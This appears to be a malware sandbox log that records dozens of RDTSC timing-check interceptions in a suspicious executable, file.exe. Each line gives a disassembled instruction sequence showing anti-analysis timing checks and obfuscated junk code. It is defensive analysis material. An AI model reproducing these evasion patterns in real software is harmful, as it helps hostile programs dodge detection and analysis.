Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBA1B5 second address: CBA1BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBB44C second address: CBB456 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F5930BD3376h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBB456 second address: CBB470 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F5930C603F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push edi 0x0000000c push ecx 0x0000000d jmp 00007F5930C603FBh 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC09E9 second address: CC0A35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push ecx 0x00000006 jmp 00007F5930BD337Ch 0x0000000b pop ecx 0x0000000c jmp 00007F5930BD3380h 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 ja 00007F5930BD3376h 0x0000001b push esi 0x0000001c pop esi 0x0000001d pop eax 0x0000001e pushad 0x0000001f jmp 00007F5930BD337Eh 0x00000024 ja 00007F5930BD3376h 0x0000002a jl 00007F5930BD3376h 0x00000030 popad 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC0A35 second address: CC0A47 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5930C603FDh 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBFE33 second address: CBFE39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC071B second address: CC071F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC2A31 second address: CC2A38 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC2AD1 second address: CC2AE5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b pushad 0x0000000c jbe 00007F5930C603FCh 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC2AE5 second address: CC2B09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5930BD3385h 0x00000009 popad 0x0000000a mov eax, dword ptr [eax] 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push edx 0x00000010 pop edx 0x00000011 push edi 0x00000012 pop edi 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC2B09 second address: CC2B48 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F5930C60402h 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov dword ptr [esp+04h], eax 0x00000011 push esi 0x00000012 jbe 00007F5930C603FCh 0x00000018 jne 00007F5930C603F6h 0x0000001e pop esi 0x0000001f pop eax 0x00000020 call 00007F5930C603F9h 0x00000025 push esi 0x00000026 push eax 0x00000027 push edx 0x00000028 jnl 00007F5930C603F6h 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC2B48 second address: CC2B6E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 ja 00007F5930BD337Eh 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F5930BD337Ah 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC2DF7 second address: CC2DFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC307D second address: CC3092 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jno 00007F5930BD337Ch 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC36EF second address: CC372F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov dword ptr [esp], ebx 0x00000008 push 00000000h 0x0000000a push edx 0x0000000b call 00007F5930C603F8h 0x00000010 pop edx 0x00000011 mov dword ptr [esp+04h], edx 0x00000015 add dword ptr [esp+04h], 00000017h 0x0000001d inc edx 0x0000001e push edx 0x0000001f ret 0x00000020 pop edx 0x00000021 ret 0x00000022 sub dword ptr [ebp+122D22E7h], edx 0x00000028 nop 0x00000029 push eax 0x0000002a push edx 0x0000002b pushad 0x0000002c jmp 00007F5930C603FDh 0x00000031 push eax 0x00000032 push edx 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC372F second address: CC3734 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC3734 second address: CC3739 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC4318 second address: CC4322 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007F5930BD3376h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC4BDD second address: CC4BF0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5930C603FFh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC4A8A second address: CC4A8E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC4BF0 second address: CC4C7C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jo 00007F5930C60412h 0x0000000f jl 00007F5930C6040Ch 0x00000015 jmp 00007F5930C60406h 0x0000001a nop 0x0000001b push 00000000h 0x0000001d push edx 0x0000001e call 00007F5930C603F8h 0x00000023 pop edx 0x00000024 mov dword ptr [esp+04h], edx 0x00000028 add dword ptr [esp+04h], 0000001Bh 0x00000030 inc edx 0x00000031 push edx 0x00000032 ret 0x00000033 pop edx 0x00000034 ret 0x00000035 mov si, A5E1h 0x00000039 add esi, dword ptr [ebp+122D2C15h] 0x0000003f push 00000000h 0x00000041 cld 0x00000042 push 00000000h 0x00000044 push 00000000h 0x00000046 push edx 0x00000047 call 00007F5930C603F8h 0x0000004c pop edx 0x0000004d mov dword ptr [esp+04h], edx 0x00000051 add dword ptr [esp+04h], 0000001Dh 0x00000059 inc edx 0x0000005a push edx 0x0000005b ret 0x0000005c pop edx 0x0000005d ret 0x0000005e stc 0x0000005f movsx esi, di 0x00000062 push eax 0x00000063 push eax 0x00000064 pushad 0x00000065 push eax 0x00000066 push edx 0x00000067 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC4C7C second address: CC4C82 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC544F second address: CC5461 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5930C603FDh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC6410 second address: CC642F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push eax 0x00000008 jbe 00007F5930BD338Dh 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F5930BD337Fh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC6677 second address: CC6693 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5930C60408h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC5461 second address: CC5466 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC6693 second address: CC66C0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b jo 00007F5930C603FCh 0x00000011 sub dword ptr [ebp+122D35D3h], ebx 0x00000017 push 00000000h 0x00000019 mov esi, edx 0x0000001b push 00000000h 0x0000001d and si, E14Fh 0x00000022 push eax 0x00000023 jns 00007F5930C60408h 0x00000029 push eax 0x0000002a push edx 0x0000002b pushad 0x0000002c popad 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC7CC8 second address: CC7CCC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC798C second address: CC7990 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC7CCC second address: CC7CD2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC7990 second address: CC7996 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC7996 second address: CC79B9 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pushad 0x00000004 popad 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c ja 00007F5930BD3376h 0x00000012 jmp 00007F5930BD3380h 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC84F6 second address: CC84FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC8756 second address: CC875F instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC84FB second address: CC850C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F5930C603FCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC850C second address: CC851F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 jnc 00007F5930BD3380h 0x0000000e pushad 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCA748 second address: CCA74C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCBBE6 second address: CCBC0E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F5930BD3386h 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push ecx 0x0000000f push eax 0x00000010 push edx 0x00000011 jne 00007F5930BD3376h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCAE51 second address: CCAE5B instructions: 0x00000000 rdtsc 0x00000002 jng 00007F5930C603F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCBC0E second address: CCBC7F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5930BD3384h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ecx 0x0000000a nop 0x0000000b push 00000000h 0x0000000d push ecx 0x0000000e call 00007F5930BD3378h 0x00000013 pop ecx 0x00000014 mov dword ptr [esp+04h], ecx 0x00000018 add dword ptr [esp+04h], 00000015h 0x00000020 inc ecx 0x00000021 push ecx 0x00000022 ret 0x00000023 pop ecx 0x00000024 ret 0x00000025 stc 0x00000026 jnl 00007F5930BD337Bh 0x0000002c push 00000000h 0x0000002e or bh, 00000061h 0x00000031 push 00000000h 0x00000033 push ebx 0x00000034 stc 0x00000035 pop ebx 0x00000036 xchg eax, esi 0x00000037 pushad 0x00000038 jmp 00007F5930BD3382h 0x0000003d push eax 0x0000003e pushad 0x0000003f popad 0x00000040 pop eax 0x00000041 popad 0x00000042 push eax 0x00000043 push eax 0x00000044 push edx 0x00000045 push eax 0x00000046 push edx 0x00000047 jg 00007F5930BD3376h 0x0000004d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCBC7F second address: CCBC85 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCCCC2 second address: CCCCC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCCCC7 second address: CCCCCD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCCCCD second address: CCCCD1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCEF94 second address: CCEF98 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCFF08 second address: CCFF23 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F5930BD3376h 0x0000000a popad 0x0000000b pop ebx 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jnc 00007F5930BD337Ch 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCEF98 second address: CCEFB0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F5930C60403h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD0DD1 second address: CD0DD8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCFF23 second address: CCFF2D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007F5930C603F6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCEFB0 second address: CCF038 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp], eax 0x0000000a cld 0x0000000b push dword ptr fs:[00000000h] 0x00000012 sbb edi, 1E056D53h 0x00000018 mov dword ptr fs:[00000000h], esp 0x0000001f push 00000000h 0x00000021 push eax 0x00000022 call 00007F5930BD3378h 0x00000027 pop eax 0x00000028 mov dword ptr [esp+04h], eax 0x0000002c add dword ptr [esp+04h], 00000017h 0x00000034 inc eax 0x00000035 push eax 0x00000036 ret 0x00000037 pop eax 0x00000038 ret 0x00000039 mov dword ptr [ebp+122D2D71h], ebx 0x0000003f mov dword ptr [ebp+122D1F3Dh], edi 0x00000045 mov eax, dword ptr [ebp+122D161Dh] 0x0000004b push FFFFFFFFh 0x0000004d push 00000000h 0x0000004f push edx 0x00000050 call 00007F5930BD3378h 0x00000055 pop edx 0x00000056 mov dword ptr [esp+04h], edx 0x0000005a add dword ptr [esp+04h], 00000019h 0x00000062 inc edx 0x00000063 push edx 0x00000064 ret 0x00000065 pop edx 0x00000066 ret 0x00000067 jl 00007F5930BD3379h 0x0000006d mov di, cx 0x00000070 or ebx, 61566D3Ch 0x00000076 nop 0x00000077 pushad 0x00000078 push eax 0x00000079 push edx 0x0000007a push eax 0x0000007b push edx 0x0000007c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD0F29 second address: CD0F2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCF038 second address: CCF03C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCF03C second address: CCF040 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD1F19 second address: CD1F24 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push eax 0x00000006 push edx 0x00000007 push ecx 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop ecx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCF040 second address: CCF04E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jl 00007F5930C603FCh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD1F24 second address: CD1F2F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jc 00007F5930BD3376h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCF04E second address: CCF058 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push ebx 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD2F55 second address: CD2F5A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD4FD7 second address: CD4FDB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD4FDB second address: CD5004 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5930BD337Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop esi 0x0000000a push eax 0x0000000b jl 00007F5930BD338Fh 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F5930BD3381h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD5004 second address: CD5072 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 nop 0x00000007 xor dword ptr [ebp+122D2852h], esi 0x0000000d push 00000000h 0x0000000f push 00000000h 0x00000011 push edx 0x00000012 call 00007F5930C603F8h 0x00000017 pop edx 0x00000018 mov dword ptr [esp+04h], edx 0x0000001c add dword ptr [esp+04h], 00000018h 0x00000024 inc edx 0x00000025 push edx 0x00000026 ret 0x00000027 pop edx 0x00000028 ret 0x00000029 jo 00007F5930C603FBh 0x0000002f add bx, 28EFh 0x00000034 push 00000000h 0x00000036 push 00000000h 0x00000038 push edi 0x00000039 call 00007F5930C603F8h 0x0000003e pop edi 0x0000003f mov dword ptr [esp+04h], edi 0x00000043 add dword ptr [esp+04h], 00000014h 0x0000004b inc edi 0x0000004c push edi 0x0000004d ret 0x0000004e pop edi 0x0000004f ret 0x00000050 call 00007F5930C603FEh 0x00000055 push esi 0x00000056 pop ebx 0x00000057 pop edi 0x00000058 xchg eax, esi 0x00000059 pushad 0x0000005a push eax 0x0000005b push eax 0x0000005c push edx 0x0000005d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD61C1 second address: CD61C8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD61C8 second address: CD61D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD61D5 second address: CD61DF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD61DF second address: CD6213 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 mov bx, di 0x0000000b mov bx, D691h 0x0000000f push 00000000h 0x00000011 jmp 00007F5930C603FDh 0x00000016 push 00000000h 0x00000018 pushad 0x00000019 mov dword ptr [ebp+122D280Ch], ebx 0x0000001f mov dword ptr [ebp+122D1EF7h], edx 0x00000025 popad 0x00000026 push eax 0x00000027 push eax 0x00000028 push edx 0x00000029 push ecx 0x0000002a push eax 0x0000002b push edx 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD6213 second address: CD6218 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD721E second address: CD7224 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD63DB second address: CD6455 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov dword ptr [esp], eax 0x00000008 jnl 00007F5930BD337Ch 0x0000000e push dword ptr fs:[00000000h] 0x00000015 mov di, E818h 0x00000019 mov dword ptr fs:[00000000h], esp 0x00000020 jmp 00007F5930BD3380h 0x00000025 xor dword ptr [ebp+122D1E4Fh], ecx 0x0000002b mov eax, dword ptr [ebp+122D0059h] 0x00000031 jbe 00007F5930BD3376h 0x00000037 push FFFFFFFFh 0x00000039 push 00000000h 0x0000003b push ebx 0x0000003c call 00007F5930BD3378h 0x00000041 pop ebx 0x00000042 mov dword ptr [esp+04h], ebx 0x00000046 add dword ptr [esp+04h], 00000019h 0x0000004e inc ebx 0x0000004f push ebx 0x00000050 ret 0x00000051 pop ebx 0x00000052 ret 0x00000053 push eax 0x00000054 jbe 00007F5930BD3399h 0x0000005a push eax 0x0000005b push edx 0x0000005c jc 00007F5930BD3376h 0x00000062 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD819B second address: CD819F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD7388 second address: CD738D instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD738D second address: CD73A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 jmp 00007F5930C603FDh 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD73A7 second address: CD746C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5930BD3383h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a nop 0x0000000b push 00000000h 0x0000000d push edi 0x0000000e call 00007F5930BD3378h 0x00000013 pop edi 0x00000014 mov dword ptr [esp+04h], edi 0x00000018 add dword ptr [esp+04h], 0000001Ch 0x00000020 inc edi 0x00000021 push edi 0x00000022 ret 0x00000023 pop edi 0x00000024 ret 0x00000025 mov di, bx 0x00000028 mov ebx, dword ptr [ebp+122D3674h] 0x0000002e push dword ptr fs:[00000000h] 0x00000035 add di, C268h 0x0000003a mov dword ptr fs:[00000000h], esp 0x00000041 push 00000000h 0x00000043 push edx 0x00000044 call 00007F5930BD3378h 0x00000049 pop edx 0x0000004a mov dword ptr [esp+04h], edx 0x0000004e add dword ptr [esp+04h], 0000001Dh 0x00000056 inc edx 0x00000057 push edx 0x00000058 ret 0x00000059 pop edx 0x0000005a ret 0x0000005b jmp 00007F5930BD3382h 0x00000060 mov dword ptr [ebp+122D2AC0h], eax 0x00000066 mov eax, dword ptr [ebp+122D049Dh] 0x0000006c jmp 00007F5930BD337Ah 0x00000071 push FFFFFFFFh 0x00000073 mov ebx, dword ptr [ebp+1244879Dh] 0x00000079 nop 0x0000007a jc 00007F5930BD3381h 0x00000080 jmp 00007F5930BD337Bh 0x00000085 push eax 0x00000086 push eax 0x00000087 push ebx 0x00000088 push eax 0x00000089 push edx 0x0000008a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD83AE second address: CD83B9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jns 00007F5930C603F6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDD0C6 second address: CDD0FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5930BD3385h 0x00000009 popad 0x0000000a jmp 00007F5930BD337Ch 0x0000000f pop edi 0x00000010 push eax 0x00000011 push edx 0x00000012 jno 00007F5930BD337Eh 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE49AC second address: CE49B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edi 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE4127 second address: CE4137 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F5930BD3376h 0x00000008 js 00007F5930BD3376h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
